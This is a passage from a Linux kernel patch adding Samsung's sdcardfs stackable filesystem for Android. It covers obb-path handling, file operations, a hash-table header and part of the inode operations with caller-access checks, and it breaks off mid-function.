fix_derived_permission(dentry->d_inode); +} + +int need_graft_path(struct dentry *dentry) +{ + int ret = 0; + struct dentry *parent = dget_parent(dentry); + struct sdcardfs_inode_info *parent_info= SDCARDFS_I(parent->d_inode); + struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); + + if(parent_info->perm == PERM_ANDROID && + !strcasecmp(dentry->d_name.name, "obb")) { + + /* /Android/obb is the base obbpath of DERIVED_UNIFIED */ + if(!(sbi->options.derive == DERIVE_UNIFIED + && parent_info->userid == 0)) { + ret = 1; + } + } + dput(parent); + return ret; +} + +int is_obbpath_invalid(struct dentry *dent) +{ + int ret = 0; + struct sdcardfs_dentry_info *di = SDCARDFS_D(dent); + struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dent->d_sb); + char *path_buf, *obbpath_s; + + /* check the base obbpath has been changed. + * this routine can check an uninitialized obb dentry as well. + * regarding the uninitialized obb, refer to the sdcardfs_mkdir() */ + spin_lock(&di->lock); + if(di->orig_path.dentry) { + if(!di->lower_path.dentry) { + ret = 1; + } else { + path_get(&di->lower_path); + //lower_parent = lock_parent(lower_path->dentry); + + path_buf = kmalloc(PATH_MAX, GFP_ATOMIC); + if(!path_buf) { + ret = 1; + printk(KERN_ERR "sdcardfs: " + "fail to allocate path_buf in %s.\n", __func__); + } else { + obbpath_s = d_path(&di->lower_path, path_buf, PATH_MAX); + if (d_unhashed(di->lower_path.dentry) || + strcasecmp(sbi->obbpath_s, obbpath_s)) { + ret = 1; + } + kfree(path_buf); + } + + //unlock_dir(lower_parent); + path_put(&di->lower_path); + } + } + spin_unlock(&di->lock); + return ret; +} + +int is_base_obbpath(struct dentry *dentry) +{ + int ret = 0; + struct dentry *parent = dget_parent(dentry); + struct sdcardfs_inode_info *parent_info= SDCARDFS_I(parent->d_inode); + struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); + + spin_lock(&SDCARDFS_D(dentry)->lock); + /* DERIVED_LEGACY */ + if(parent_info->perm == PERM_LEGACY_PRE_ROOT && + !strcasecmp(dentry->d_name.name, "obb")) { + ret = 1; + } + /* DERIVED_UNIFIED :/Android/obb is the base obbpath */ + else if (parent_info->perm == PERM_ANDROID && + !strcasecmp(dentry->d_name.name, "obb")) { + if((sbi->options.derive == DERIVE_UNIFIED + && parent_info->userid == 0)) { + ret = 1; + } + } + spin_unlock(&SDCARDFS_D(dentry)->lock); + dput(parent); + return ret; +} + +/* The lower_path will be stored to the dentry's orig_path + * and the base obbpath will be copyed to the lower_path variable. + * if an error returned, there's no change in the lower_path + * returns: -ERRNO if error (0: no error) */ +int setup_obb_dentry(struct dentry *dentry, struct path *lower_path) +{ + int err = 0; + struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); + struct path obbpath; + + /* A local obb dentry must have its own orig_path to support rmdir + * and mkdir of itself. Usually, we expect that the sbi->obbpath + * is avaiable on this stage. */ + sdcardfs_set_orig_path(dentry, lower_path); + + err = kern_path(sbi->obbpath_s, + LOOKUP_FOLLOW | LOOKUP_DIRECTORY, &obbpath); + + if(!err) { + /* the obbpath base has been found */ + printk(KERN_INFO "sdcardfs: " + "the sbi->obbpath is found\n"); + pathcpy(lower_path, &obbpath); + } else { + /* if the sbi->obbpath is not available, we can optionally + * setup the lower_path with its orig_path. + * but, the current implementation just returns an error + * because the sdcard daemon also regards this case as + * a lookup fail. */ + printk(KERN_INFO "sdcardfs: " + "the sbi->obbpath is not available\n"); + } + return err; +} + + diff --git a/fs/sdcardfs/file.c b/fs/sdcardfs/file.c new file mode 100755 index 0000000000000..bcacb947c874a --- /dev/null +++ b/fs/sdcardfs/file.c @@ -0,0 +1,357 @@ +/* + * fs/sdcardfs/file.c + * + * Copyright (c) 2013 Samsung Electronics Co. Ltd + * Authors: Daeho Jeong, Woojoong Lee, Seunghwan Hyun, + * Sunghwan Yun, Sungjong Seo + * + * This program has been developed as a stackable file system based on + * the WrapFS which written by + * + * Copyright (c) 1998-2011 Erez Zadok + * Copyright (c) 2009 Shrikar Archak + * Copyright (c) 2003-2011 Stony Brook University + * Copyright (c) 2003-2011 The Research Foundation of SUNY + * + * This file is dual licensed. It may be redistributed and/or modified + * under the terms of the Apache 2.0 License OR version 2 of the GNU + * General Public License. + */ + +#include "sdcardfs.h" +#ifdef CONFIG_SDCARD_FS_FADV_NOACTIVE +#include +#endif + +static ssize_t sdcardfs_read(struct file *file, char __user *buf, + size_t count, loff_t *ppos) +{ + int err; + struct file *lower_file; + struct dentry *dentry = file->f_path.dentry; +#ifdef CONFIG_SDCARD_FS_FADV_NOACTIVE + struct backing_dev_info *bdi; +#endif + + lower_file = sdcardfs_lower_file(file); + +#ifdef CONFIG_SDCARD_FS_FADV_NOACTIVE + if (file->f_mode & FMODE_NOACTIVE) { + if (!(lower_file->f_mode & FMODE_NOACTIVE)) { + bdi = lower_file->f_mapping->backing_dev_info; + lower_file->f_ra.ra_pages = bdi->ra_pages * 2; + spin_lock(&lower_file->f_lock); + lower_file->f_mode |= FMODE_NOACTIVE; + spin_unlock(&lower_file->f_lock); + } + } +#endif + + err = vfs_read(lower_file, buf, count, ppos); + /* update our inode atime upon a successful lower read */ + if (err >= 0) + fsstack_copy_attr_atime(dentry->d_inode, + lower_file->f_path.dentry->d_inode); + + return err; +} + +static ssize_t sdcardfs_write(struct file *file, const char __user *buf, + size_t count, loff_t *ppos) +{ + int err = 0; + struct file *lower_file; + struct dentry *dentry = file->f_path.dentry; + + /* check disk space */ + if (!check_min_free_space(dentry, count, 0)) { + printk(KERN_INFO "No minimum free space.\n"); + return -ENOSPC; + } + + lower_file = sdcardfs_lower_file(file); + err = vfs_write(lower_file, buf, count, ppos); + /* update our inode times+sizes upon a successful lower write */ + if (err >= 0) { + fsstack_copy_inode_size(dentry->d_inode, + lower_file->f_path.dentry->d_inode); + fsstack_copy_attr_times(dentry->d_inode, + lower_file->f_path.dentry->d_inode); + } + + return err; +} + +static int sdcardfs_readdir(struct file *file, void *dirent, filldir_t filldir) +{ + int err = 0; + struct file *lower_file = NULL; + struct dentry *dentry = file->f_path.dentry; + + lower_file = sdcardfs_lower_file(file); + + lower_file->f_pos = file->f_pos; + err = vfs_readdir(lower_file, filldir, dirent); + file->f_pos = lower_file->f_pos; + if (err >= 0) /* copy the atime */ + fsstack_copy_attr_atime(dentry->d_inode, + lower_file->f_path.dentry->d_inode); + return err; +} + +static long sdcardfs_unlocked_ioctl(struct file *file, unsigned int cmd, + unsigned long arg) +{ + long err = -ENOTTY; + struct file *lower_file; + + lower_file = sdcardfs_lower_file(file); + + /* XXX: use vfs_ioctl if/when VFS exports it */ + if (!lower_file || !lower_file->f_op) + goto out; + if (lower_file->f_op->unlocked_ioctl) + err = lower_file->f_op->unlocked_ioctl(lower_file, cmd, arg); + +out: + return err; +} + +#ifdef CONFIG_COMPAT +static long sdcardfs_compat_ioctl(struct file *file, unsigned int cmd, + unsigned long arg) +{ + long err = -ENOTTY; + struct file *lower_file; + + lower_file = sdcardfs_lower_file(file); + + /* XXX: use vfs_ioctl if/when VFS exports it */ + if (!lower_file || !lower_file->f_op) + goto out; + if (lower_file->f_op->compat_ioctl) + err = lower_file->f_op->compat_ioctl(lower_file, cmd, arg); + +out: + return err; +} +#endif + +static int sdcardfs_mmap(struct file *file, struct vm_area_struct *vma) +{ + int err = 0; + bool willwrite; + struct file *lower_file; + const struct vm_operations_struct *saved_vm_ops = NULL; + + /* this might be deferred to mmap's writepage */ + willwrite = ((vma->vm_flags | VM_SHARED | VM_WRITE) == vma->vm_flags); + + /* + * File systems which do not implement ->writepage may use + * generic_file_readonly_mmap as their ->mmap op. If you call + * generic_file_readonly_mmap with VM_WRITE, you'd get an -EINVAL. + * But we cannot call the lower ->mmap op, so we can't tell that + * writeable mappings won't work. Therefore, our only choice is to + * check if the lower file system supports the ->writepage, and if + * not, return EINVAL (the same error that + * generic_file_readonly_mmap returns in that case). + */ + lower_file = sdcardfs_lower_file(file); + if (willwrite && !lower_file->f_mapping->a_ops->writepage) { + err = -EINVAL; + printk(KERN_ERR "sdcardfs: lower file system does not " + "support writeable mmap\n"); + goto out; + } + + /* + * find and save lower vm_ops. + * + * XXX: the VFS should have a cleaner way of finding the lower vm_ops + */ + if (!SDCARDFS_F(file)->lower_vm_ops) { + err = lower_file->f_op->mmap(lower_file, vma); + if (err) { + printk(KERN_ERR "sdcardfs: lower mmap failed %d\n", err); + goto out; + } + saved_vm_ops = vma->vm_ops; /* save: came from lower ->mmap */ + err = do_munmap(current->mm, vma->vm_start, + vma->vm_end - vma->vm_start); + if (err) { + printk(KERN_ERR "sdcardfs: do_munmap failed %d\n", err); + goto out; + } + } + + /* + * Next 3 lines are all I need from generic_file_mmap. I definitely + * don't want its test for ->readpage which returns -ENOEXEC. + */ + file_accessed(file); + vma->vm_ops = &sdcardfs_vm_ops; + vma->vm_flags |= VM_CAN_NONLINEAR; + + file->f_mapping->a_ops = &sdcardfs_aops; /* set our aops */ + if (!SDCARDFS_F(file)->lower_vm_ops) /* save for our ->fault */ + SDCARDFS_F(file)->lower_vm_ops = saved_vm_ops; + +out: + return err; +} + +static int sdcardfs_open(struct inode *inode, struct file *file) +{ + int err = 0; + struct file *lower_file = NULL; + struct path lower_path; + struct dentry *dentry = file->f_path.dentry; + struct dentry *parent = dget_parent(dentry); + struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); + const struct cred *saved_cred = NULL; + int has_rw; + + /* don't open unhashed/deleted files */ + if (d_unhashed(dentry)) { + err = -ENOENT; + goto out_err; + } + + has_rw = get_caller_has_rw_locked(sbi->pkgl_id, sbi->options.derive); + + if(!check_caller_access_to_name(parent->d_inode, dentry->d_name.name, + sbi->options.derive, + open_flags_to_access_mode(file->f_flags), has_rw)) { + printk(KERN_INFO "%s: need to check the caller's gid in packages.list\n" + " dentry: %s, task:%s\n", + __func__, dentry->d_name.name, current->comm); + err = -EACCES; + goto out_err; + } + + /* save current_cred and override it */ + OVERRIDE_CRED(sbi, saved_cred); + + file->private_data = + kzalloc(sizeof(struct sdcardfs_file_info), GFP_KERNEL); + if (!SDCARDFS_F(file)) { + err = -ENOMEM; + goto out_revert_cred; + } + + /* open lower object and link sdcardfs's file struct to lower's */ + sdcardfs_get_lower_path(file->f_path.dentry, &lower_path); + lower_file = dentry_open(lower_path.dentry, lower_path.mnt, + file->f_flags, current_cred()); + if (IS_ERR(lower_file)) { + err = PTR_ERR(lower_file); + lower_file = sdcardfs_lower_file(file); + if (lower_file) { + sdcardfs_set_lower_file(file, NULL); + fput(lower_file); /* fput calls dput for lower_dentry */ + } + } else { + sdcardfs_set_lower_file(file, lower_file); + } + + if (err) + kfree(SDCARDFS_F(file)); + else { + fsstack_copy_attr_all(inode, sdcardfs_lower_inode(inode)); + fix_derived_permission(inode); + } + +out_revert_cred: + REVERT_CRED(saved_cred); +out_err: + dput(parent); + return err; +} + +static int sdcardfs_flush(struct file *file, fl_owner_t id) +{ + int err = 0; + struct file *lower_file = NULL; + + lower_file = sdcardfs_lower_file(file); + if (lower_file && lower_file->f_op && lower_file->f_op->flush) + err = lower_file->f_op->flush(lower_file, id); + + return err; +} + +/* release all lower object references & free the file info structure */ +static int sdcardfs_file_release(struct inode *inode, struct file *file) +{ + struct file *lower_file; + + lower_file = sdcardfs_lower_file(file); + if (lower_file) { + sdcardfs_set_lower_file(file, NULL); + fput(lower_file); + } + + kfree(SDCARDFS_F(file)); + return 0; +} + +static int +sdcardfs_fsync(struct file *file, int datasync) +{ + int err; + struct file *lower_file; + struct path lower_path; + struct dentry *dentry = file->f_path.dentry; + + lower_file = sdcardfs_lower_file(file); + sdcardfs_get_lower_path(dentry, &lower_path); + err = vfs_fsync(lower_file, datasync); + sdcardfs_put_lower_path(dentry, &lower_path); + + return err; +} + +static int sdcardfs_fasync(int fd, struct file *file, int flag) +{ + int err = 0; + struct file *lower_file = NULL; + + lower_file = sdcardfs_lower_file(file); + if (lower_file->f_op && lower_file->f_op->fasync) + err = lower_file->f_op->fasync(fd, lower_file, flag); + + return err; +} + +const struct file_operations sdcardfs_main_fops = { + .llseek = generic_file_llseek, + .read = sdcardfs_read, + .write = sdcardfs_write, + .unlocked_ioctl = sdcardfs_unlocked_ioctl, +#ifdef CONFIG_COMPAT + .compat_ioctl = sdcardfs_compat_ioctl, +#endif + .mmap = sdcardfs_mmap, + .open = sdcardfs_open, + .flush = sdcardfs_flush, + .release = sdcardfs_file_release, + .fsync = sdcardfs_fsync, + .fasync = sdcardfs_fasync, +}; + +/* trimmed directory options */ +const struct file_operations sdcardfs_dir_fops = { + .llseek = generic_file_llseek, + .read = generic_read_dir, + .readdir = sdcardfs_readdir, + .unlocked_ioctl = sdcardfs_unlocked_ioctl, +#ifdef CONFIG_COMPAT + .compat_ioctl = sdcardfs_compat_ioctl, +#endif + .open = sdcardfs_open, + .release = sdcardfs_file_release, + .flush = sdcardfs_flush, + .fsync = sdcardfs_fsync, + .fasync = sdcardfs_fasync, +}; diff --git a/fs/sdcardfs/hashtable.h b/fs/sdcardfs/hashtable.h new file mode 100755 index 0000000000000..1e770f3df1484 --- /dev/null +++ b/fs/sdcardfs/hashtable.h @@ -0,0 +1,190 @@ +/* + * Statically sized hash table implementation + * (C) 2012 Sasha Levin + */ + +#ifndef _LINUX_HASHTABLE_H +#define _LINUX_HASHTABLE_H + +#include +#include +#include +#include +#include + +#define DEFINE_HASHTABLE(name, bits) \ + struct hlist_head name[1 << (bits)] = \ + { [0 ... ((1 << (bits)) - 1)] = HLIST_HEAD_INIT } + +#define DECLARE_HASHTABLE(name, bits) \ + struct hlist_head name[1 << (bits)] + +#define HASH_SIZE(name) (ARRAY_SIZE(name)) +#define HASH_BITS(name) ilog2(HASH_SIZE(name)) + +/* Use hash_32 when possible to allow for fast 32bit hashing in 64bit kernels. */ +#define hash_min(val, bits) \ + (sizeof(val) <= 4 ? hash_32(val, bits) : hash_long(val, bits)) + +static inline void __hash_init(struct hlist_head *ht, unsigned int sz) +{ + unsigned int i; + + for (i = 0; i < sz; i++) + INIT_HLIST_HEAD(&ht[i]); +} + +/** + * hash_init - initialize a hash table + * @hashtable: hashtable to be initialized + * + * Calculates the size of the hashtable from the given parameter, otherwise + * same as hash_init_size. + * + * This has to be a macro since HASH_BITS() will not work on pointers since + * it calculates the size during preprocessing. + */ +#define hash_init(hashtable) __hash_init(hashtable, HASH_SIZE(hashtable)) + +/** + * hash_add - add an object to a hashtable + * @hashtable: hashtable to add to + * @node: the &struct hlist_node of the object to be added + * @key: the key of the object to be added + */ +#define hash_add(hashtable, node, key) \ + hlist_add_head(node, &hashtable[hash_min(key, HASH_BITS(hashtable))]) + +/** + * hash_add_rcu - add an object to a rcu enabled hashtable + * @hashtable: hashtable to add to + * @node: the &struct hlist_node of the object to be added + * @key: the key of the object to be added + */ +#define hash_add_rcu(hashtable, node, key) \ + hlist_add_head_rcu(node, &hashtable[hash_min(key, HASH_BITS(hashtable))]) + +/** + * hash_hashed - check whether an object is in any hashtable + * @node: the &struct hlist_node of the object to be checked + */ +static inline bool hash_hashed(struct hlist_node *node) +{ + return !hlist_unhashed(node); +} + +static inline bool __hash_empty(struct hlist_head *ht, unsigned int sz) +{ + unsigned int i; + + for (i = 0; i < sz; i++) + if (!hlist_empty(&ht[i])) + return false; + + return true; +} + +/** + * hash_empty - check whether a hashtable is empty + * @hashtable: hashtable to check + * + * This has to be a macro since HASH_BITS() will not work on pointers since + * it calculates the size during preprocessing. + */ +#define hash_empty(hashtable) __hash_empty(hashtable, HASH_SIZE(hashtable)) + +/** + * hash_del - remove an object from a hashtable + * @node: &struct hlist_node of the object to remove + */ +static inline void hash_del(struct hlist_node *node) +{ + hlist_del_init(node); +} + +/** + * hash_del_rcu - remove an object from a rcu enabled hashtable + * @node: &struct hlist_node of the object to remove + */ +static inline void hash_del_rcu(struct hlist_node *node) +{ + hlist_del_init_rcu(node); +} + +/** + * hash_for_each - iterate over a hashtable + * @name: hashtable to iterate + * @bkt: integer to use as bucket loop cursor + * @obj: the type * to use as a loop cursor for each entry + * @member: the name of the hlist_node within the struct + */ +#define hash_for_each(name, bkt, obj, member, pos) \ + for ((bkt) = 0, obj = NULL; obj == NULL && (bkt) < HASH_SIZE(name);\ + (bkt)++)\ + hlist_for_each_entry(obj, pos, &name[bkt], member) + +/** + * hash_for_each_rcu - iterate over a rcu enabled hashtable + * @name: hashtable to iterate + * @bkt: integer to use as bucket loop cursor + * @obj: the type * to use as a loop cursor for each entry + * @member: the name of the hlist_node within the struct + */ +#define hash_for_each_rcu(name, bkt, obj, member) \ + for ((bkt) = 0, obj = NULL; obj == NULL && (bkt) < HASH_SIZE(name);\ + (bkt)++)\ + hlist_for_each_entry_rcu(obj, &name[bkt], member) + +/** + * hash_for_each_safe - iterate over a hashtable safe against removal of + * hash entry + * @name: hashtable to iterate + * @bkt: integer to use as bucket loop cursor + * @tmp: a &struct used for temporary storage + * @obj: the type * to use as a loop cursor for each entry + * @member: the name of the hlist_node within the struct + */ +#define hash_for_each_safe(name, bkt, tmp, obj, member, pos) \ + for ((bkt) = 0, obj = NULL; (bkt) < HASH_SIZE(name);\ + (bkt)++)\ + hlist_for_each_entry_safe(obj, pos, tmp, &name[bkt], member) + +/** + * hash_for_each_possible - iterate over all possible objects hashing to the + * same bucket + * @name: hashtable to iterate + * @obj: the type * to use as a loop cursor for each entry + * @member: the name of the hlist_node within the struct + * @key: the key of the objects to iterate over + */ +#define hash_for_each_possible(name, obj, member, key, pos) \ + hlist_for_each_entry(obj, pos, &name[hash_min(key, HASH_BITS(name))], member) + +/** + * hash_for_each_possible_rcu - iterate over all possible objects hashing to the + * same bucket in an rcu enabled hashtable + * in a rcu enabled hashtable + * @name: hashtable to iterate + * @obj: the type * to use as a loop cursor for each entry + * @member: the name of the hlist_node within the struct + * @key: the key of the objects to iterate over + */ +#define hash_for_each_possible_rcu(name, obj, member, key) \ + hlist_for_each_entry_rcu(obj, &name[hash_min(key, HASH_BITS(name))],\ + member) + +/** + * hash_for_each_possible_safe - iterate over all possible objects hashing to the + * same bucket safe against removals + * @name: hashtable to iterate + * @obj: the type * to use as a loop cursor for each entry + * @tmp: a &struct used for temporary storage + * @member: the name of the hlist_node within the struct + * @key: the key of the objects to iterate over + */ +#define hash_for_each_possible_safe(name, obj, tmp, member, key) \ + hlist_for_each_entry_safe(obj, tmp,\ + &name[hash_min(key, HASH_BITS(name))], member) + + +#endif diff --git a/fs/sdcardfs/inode.c b/fs/sdcardfs/inode.c new file mode 100755 index 0000000000000..e8ed04250ed15 --- /dev/null +++ b/fs/sdcardfs/inode.c @@ -0,0 +1,886 @@ +/* + * fs/sdcardfs/inode.c + * + * Copyright (c) 2013 Samsung Electronics Co. Ltd + * Authors: Daeho Jeong, Woojoong Lee, Seunghwan Hyun, + * Sunghwan Yun, Sungjong Seo + * + * This program has been developed as a stackable file system based on + * the WrapFS which written by + * + * Copyright (c) 1998-2011 Erez Zadok + * Copyright (c) 2009 Shrikar Archak + * Copyright (c) 2003-2011 Stony Brook University + * Copyright (c) 2003-2011 The Research Foundation of SUNY + * + * This file is dual licensed. It may be redistributed and/or modified + * under the terms of the Apache 2.0 License OR version 2 of the GNU + * General Public License. + */ + +#include "sdcardfs.h" + +/* Do not directly use this function. Use OVERRIDE_CRED() instead. */ +const struct cred * override_fsids(struct sdcardfs_sb_info* sbi) +{ + struct cred * cred; + const struct cred * old_cred; + + cred = prepare_creds(); + if (!cred) + return NULL; + + cred->fsuid = sbi->options.fs_low_uid; + cred->fsgid = sbi->options.fs_low_gid; + + old_cred = override_creds(cred); + + return old_cred; +} + +/* Do not directly use this function, use REVERT_CRED() instead. */ +void revert_fsids(const struct cred * old_cred) +{ + const struct cred * cur_cred; + + cur_cred = current->cred; + revert_creds(old_cred); + put_cred(cur_cred); +} + +static int sdcardfs_create(struct inode *dir, struct dentry *dentry, + int mode, struct nameidata *nd) +{ + int err = 0; + struct dentry *lower_dentry; + struct dentry *lower_parent_dentry = NULL; + struct path lower_path, saved_path; + struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); + const struct cred *saved_cred = NULL; + + int has_rw = get_caller_has_rw_locked(sbi->pkgl_id, sbi->options.derive); + if(!check_caller_access_to_name(dir, dentry->d_name.name, sbi->options.derive, 1, has_rw)) { + printk(KERN_INFO "%s: need to check the caller's gid in packages.list\n" + " dentry: %s, task:%s\n", + __func__, dentry->d_name.name, current->comm); + err = -EACCES; + goto out_eacces; + } + + /* save current_cred and override it */ + OVERRIDE_CRED(SDCARDFS_SB(dir->i_sb), saved_cred); + + sdcardfs_get_lower_path(dentry, &lower_path); + lower_dentry = lower_path.dentry; + lower_parent_dentry = lock_parent(lower_dentry); + + err = mnt_want_write(lower_path.mnt); + if (err) + goto out_unlock; + + pathcpy(&saved_path, &nd->path); + pathcpy(&nd->path, &lower_path); + + /* set last 16bytes of mode field to 0664 */ + mode = (mode & S_IFMT) | 00664; + err = vfs_create(lower_parent_dentry->d_inode, lower_dentry, mode, nd); + + pathcpy(&nd->path, &saved_path); + if (err) + goto out; + + err = sdcardfs_interpose(dentry, dir->i_sb, &lower_path); + if (err) + goto out; + fsstack_copy_attr_times(dir, sdcardfs_lower_inode(dir)); + fsstack_copy_inode_size(dir, lower_parent_dentry->d_inode); + +out: + mnt_drop_write(lower_path.mnt); +out_unlock: + unlock_dir(lower_parent_dentry); + sdcardfs_put_lower_path(dentry, &lower_path); + REVERT_CRED(saved_cred); +out_eacces: + return err; +} + +#if 0 +static int sdcardfs_link(struct dentry *old_dentry, struct inode *dir, + struct dentry *new_dentry) +{ + struct dentry *lower_old_dentry; + struct dentry *lower_new_dentry; + struct dentry *lower_dir_dentry; + u64 file_size_save; + int err; + struct path lower_old_path, lower_new_path; + + OVERRIDE_CRED(SDCARDFS_SB(dir->i_sb)); + + file_size_save = i_size_read(old_dentry->d_inode); + sdcardfs_get_lower_path(old_dentry, &lower_old_path); + sdcardfs_get_lower_path(new_dentry, &lower_new_path); + lower_old_dentry = lower_old_path.dentry; + lower_new_dentry = lower_new_path.dentry; + lower_dir_dentry = lock_parent(lower_new_dentry); + + err = mnt_want_write(lower_new_path.mnt); + if (err) + goto out_unlock; + + err = vfs_link(lower_old_dentry, lower_dir_dentry->d_inode, + lower_new_dentry); + if (err || !lower_new_dentry->d_inode) + goto out; + + err = sdcardfs_interpose(new_dentry, dir->i_sb, &lower_new_path); + if (err) + goto out; + fsstack_copy_attr_times(dir, lower_new_dentry->d_inode); + fsstack_copy_inode_size(dir, lower_new_dentry->d_inode); + old_dentry->d_inode->i_nlink = + sdcardfs_lower_inode(old_dentry->d_inode)->i_nlink; + i_size_write(new_dentry->d_inode, file_size_save); +out: + mnt_drop_write(lower_new_path.mnt); +out_unlock: + unlock_dir(lower_dir_dentry); + sdcardfs_put_lower_path(old_dentry, &lower_old_path); + sdcardfs_put_lower_path(new_dentry, &lower_new_path); + REVERT_CRED(); + return err; +} +#endif + +static int sdcardfs_unlink(struct inode *dir, struct dentry *dentry) +{ + int err; + struct dentry *lower_dentry; + struct inode *lower_dir_inode = sdcardfs_lower_inode(dir); + struct dentry *lower_dir_dentry; + struct path lower_path; + struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); + const struct cred *saved_cred = NULL; + + int has_rw = get_caller_has_rw_locked(sbi->pkgl_id, sbi->options.derive); + if(!check_caller_access_to_name(dir, dentry->d_name.name, sbi->options.derive, 1, has_rw)) { + printk(KERN_INFO "%s: need to check the caller's gid in packages.list\n" + " dentry: %s, task:%s\n", + __func__, dentry->d_name.name, current->comm); + err = -EACCES; + goto out_eacces; + } + + /* save current_cred and override it */ + OVERRIDE_CRED(SDCARDFS_SB(dir->i_sb), saved_cred); + + sdcardfs_get_lower_path(dentry, &lower_path); + lower_dentry = lower_path.dentry; + dget(lower_dentry); + lower_dir_dentry = lock_parent(lower_dentry); + + err = mnt_want_write(lower_path.mnt); + if (err) + goto out_unlock; + err = vfs_unlink(lower_dir_inode, lower_dentry); + + /* + * Note: unlinking on top of NFS can cause silly-renamed files. + * Trying to delete such files results in EBUSY from NFS + * below. Silly-renamed files will get deleted by NFS later on, so + * we just need to detect them here and treat such EBUSY errors as + * if the upper file was successfully deleted. + */ + if (err == -EBUSY && lower_dentry->d_flags & DCACHE_NFSFS_RENAMED) + err = 0; + if (err) + goto out; + fsstack_copy_attr_times(dir, lower_dir_inode); + fsstack_copy_inode_size(dir, lower_dir_inode); + dentry->d_inode->i_nlink = + sdcardfs_lower_inode(dentry->d_inode)->i_nlink; + dentry->d_inode->i_ctime = dir->i_ctime; + d_drop(dentry); /* this is needed, else LTP fails (VFS won't do it) */ +out: + mnt_drop_write(lower_path.mnt); +out_unlock: + unlock_dir(lower_dir_dentry); + dput(lower_dentry); + sdcardfs_put_lower_path(dentry, &lower_path); + REVERT_CRED(saved_cred); +out_eacces: + return err; +} + +#if 0 +static int sdcardfs_symlink(struct inode *dir, struct dentry *dentry, + const char *symname) +{ + int err = 0; + struct dentry *lower_dentry; + struct dentry *lower_parent_dentry = NULL; + struct path lower_path; + + OVERRIDE_CRED(SDCARDFS_SB(dir->i_sb)); + + sdcardfs_get_lower_path(dentry, &lower_path); + lower_dentry = lower_path.dentry; + lower_parent_dentry = lock_parent(lower_dentry); + + err = mnt_want_write(lower_path.mnt); + if (err) + goto out_unlock; + err = vfs_symlink(lower_parent_dentry->d_inode, lower_dentry, symname); + if (err) + goto out; + err = sdcardfs_interpose(dentry, dir->i_sb, &lower_path); + if (err) + goto out; + fsstack_copy_attr_times(dir, sdcardfs_lower_inode(dir)); + fsstack_copy_inode_size(dir, lower_parent_dentry->d_inode); + +out: + mnt_drop_write(lower_path.mnt); +out_unlock: + unlock_dir(lower_parent_dentry); + sdcardfs_put_lower_path(dentry, &lower_path); + REVERT_CRED(); + return err; +} +#endif + +static int touch(char *abs_path, mode_t mode) { + struct file *filp = filp_open(abs_path, O_RDWR|O_CREAT|O_EXCL|O_NOFOLLOW, mode); + if (IS_ERR(filp)) { + if (PTR_ERR(filp) == -EEXIST) { + return 0; + } + else { + printk(KERN_ERR "sdcardfs: failed to open(%s): %ld\n", + abs_path, PTR_ERR(filp)); + return PTR_ERR(filp); + } + } + filp_close(filp, current->files); + return 0; +} + +static int sdcardfs_mkdir(struct inode *dir, struct dentry *dentry, int mode) +{ + int err = 0; + int make_nomedia_in_obb = 0; + struct dentry *lower_dentry; + struct dentry *lower_parent_dentry = NULL; + struct path lower_path; + struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); + const struct cred *saved_cred = NULL; + struct sdcardfs_inode_info *pi = SDCARDFS_I(dir); + char *page_buf; + char *nomedia_dir_name; + char *nomedia_fullpath; + int fullpath_namelen; + int touch_err = 0; + + int has_rw = get_caller_has_rw_locked(sbi->pkgl_id, sbi->options.derive); + if(!check_caller_access_to_name(dir, dentry->d_name.name, sbi->options.derive, 1, has_rw)) { + printk(KERN_INFO "%s: need to check the caller's gid in packages.list\n" + " dentry: %s, task:%s\n", + __func__, dentry->d_name.name, current->comm); + err = -EACCES; + goto out_eacces; + } + + /* save current_cred and override it */ + OVERRIDE_CRED(SDCARDFS_SB(dir->i_sb), saved_cred); + + /* check disk space */ + if (!check_min_free_space(dentry, 0, 1)) { + printk(KERN_INFO "sdcardfs: No minimum free space.\n"); + err = -ENOSPC; + goto out_revert; + } + + /* the lower_dentry is negative here */ + sdcardfs_get_lower_path(dentry, &lower_path); + lower_dentry = lower_path.dentry; + lower_parent_dentry = lock_parent(lower_dentry); + + err = mnt_want_write(lower_path.mnt); + if (err) + goto out_unlock; + + /* set last 16bytes of mode field to 0775 */ + mode = (mode & S_IFMT) | 00775; + err = vfs_mkdir(lower_parent_dentry->d_inode, lower_dentry, mode); + + if (err) + goto out; + + /* if it is a local obb dentry, setup it with the base obbpath */ + if(need_graft_path(dentry)) { + + err = setup_obb_dentry(dentry, &lower_path); + if(err) { + /* if the sbi->obbpath is not available, the lower_path won't be + * changed by setup_obb_dentry() but the lower path is saved to + * its orig_path. this dentry will be revalidated later. + * but now, the lower_path should be NULL */ + sdcardfs_put_reset_lower_path(dentry); + + /* the newly created lower path which saved to its orig_path or + * the lower_path is the base obbpath. + * therefore, an additional path_get is required */ + path_get(&lower_path); + } else + make_nomedia_in_obb = 1; + } + + err = sdcardfs_interpose(dentry, dir->i_sb, &lower_path); + if (err) + goto out; + + fsstack_copy_attr_times(dir, sdcardfs_lower_inode(dir)); + fsstack_copy_inode_size(dir, lower_parent_dentry->d_inode); + /* update number of links on parent directory */ + dir->i_nlink = sdcardfs_lower_inode(dir)->i_nlink; + + if ((sbi->options.derive == DERIVE_UNIFIED) && (!strcasecmp(dentry->d_name.name, "obb")) + && (pi->perm == PERM_ANDROID) && (pi->userid == 0)) + make_nomedia_in_obb = 1; + + /* When creating /Android/data and /Android/obb, mark them as .nomedia */ + if (make_nomedia_in_obb || + ((pi->perm == PERM_ANDROID) && (!strcasecmp(dentry->d_name.name, "data")))) { + + page_buf = (char *)__get_free_page(GFP_KERNEL); + if (!page_buf) { + printk(KERN_ERR "sdcardfs: failed to allocate page buf\n"); + goto out; + } + + nomedia_dir_name = d_absolute_path(&lower_path, page_buf, PAGE_SIZE); + if (IS_ERR(nomedia_dir_name)) { + free_page((unsigned long)page_buf); + printk(KERN_ERR "sdcardfs: failed to get .nomedia dir name\n"); + goto out; + } + + fullpath_namelen = page_buf + PAGE_SIZE - nomedia_dir_name - 1; + fullpath_namelen += strlen("/.nomedia"); + nomedia_fullpath = kzalloc(fullpath_namelen + 1, GFP_KERNEL); + if (!nomedia_fullpath) { + free_page((unsigned long)page_buf); + printk(KERN_ERR 